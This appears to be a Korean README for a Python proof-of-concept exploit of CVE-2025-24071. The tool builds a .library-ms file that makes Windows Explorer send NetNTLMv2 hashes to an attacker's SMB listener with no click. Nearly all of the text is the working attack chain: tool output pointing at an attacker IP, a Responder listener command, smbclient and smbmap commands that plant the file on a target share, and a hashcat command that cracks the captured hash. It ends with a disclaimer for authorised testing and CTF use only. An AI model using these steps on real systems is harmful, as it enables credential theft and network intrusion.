
CVE-2025-24071에 대한 Python PoC로, .library-ms 파일을 생성하여 Windows Explorer가 SMB를 통해 NetNTLMv2 해시를 유출하도록 유도해 캡처 및 크래킹하는 도구입니다.
CVE-2025-24071 — .library-ms NTLM 강제 인증 (SMB / TAR 방식)
공격 IP와 파일 이름을 입력받아 \\<IP>\share를 가리키는 .library-ms 파일을 생성하고,
이를 exploit.tar로 묶습니다. Explorer가 해당 .library-ms 파일이 놓인 폴더를 탐색하면
UNC 경로를 자동으로 확인하고, 계정의 NTLMv2 해시를 리스너로 유출합니다 — 클릭이 필요 없습니다.
⚠️ 실제로 동작하는 것은 느슨한
.library-ms파일이며,.tar가 아닙니다. 공유 폴더에 놓인.tar는 아무 동작도 하지 않습니다. Explorer는 tarball을 파싱하지 않습니다..library-ms자체를 느슨한 파일로 공유 폴더에 올려야 합니다. 방법은 사용하는 도구에 따라 다릅니다 (아래 참조).
uv run coerce_library.py # or: python3 coerce_library.py
Attack IP [10.10.14.197]:
File name [documents]:
[+] documents.library-ms -> \\10.10.14.197\share
[+] packed into exploit.tar
sudo responder -I tun0
.library-ms 올리기smbclient — .tar를 업로드한 뒤 tar x로 서버 측에서 압축을 해제합니다 (옆에 느슨한
.library-ms가 생성됩니다):
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'put exploit.tar; tar x exploit.tar'
smbmap — 압축 해제 단계가 없으므로 느슨한 .library-ms를 직접 업로드합니다
(여기서 .tar를 업로드해도 아무 효과가 없습니다 — 압축을 풀 수 없습니다):
smbmap -H <TARGET> -d <DOMAIN> -u <USER> -p <PASS> --upload exploit.library-ms 'IT/exploit.library-ms'
공유 폴더에 느슨한 파일로 올라갔는지 확인합니다:
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'ls' | grep library
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
☧ 허가된 침투 테스트 / CTF / 실습 환경에서만 사용하세요 ☧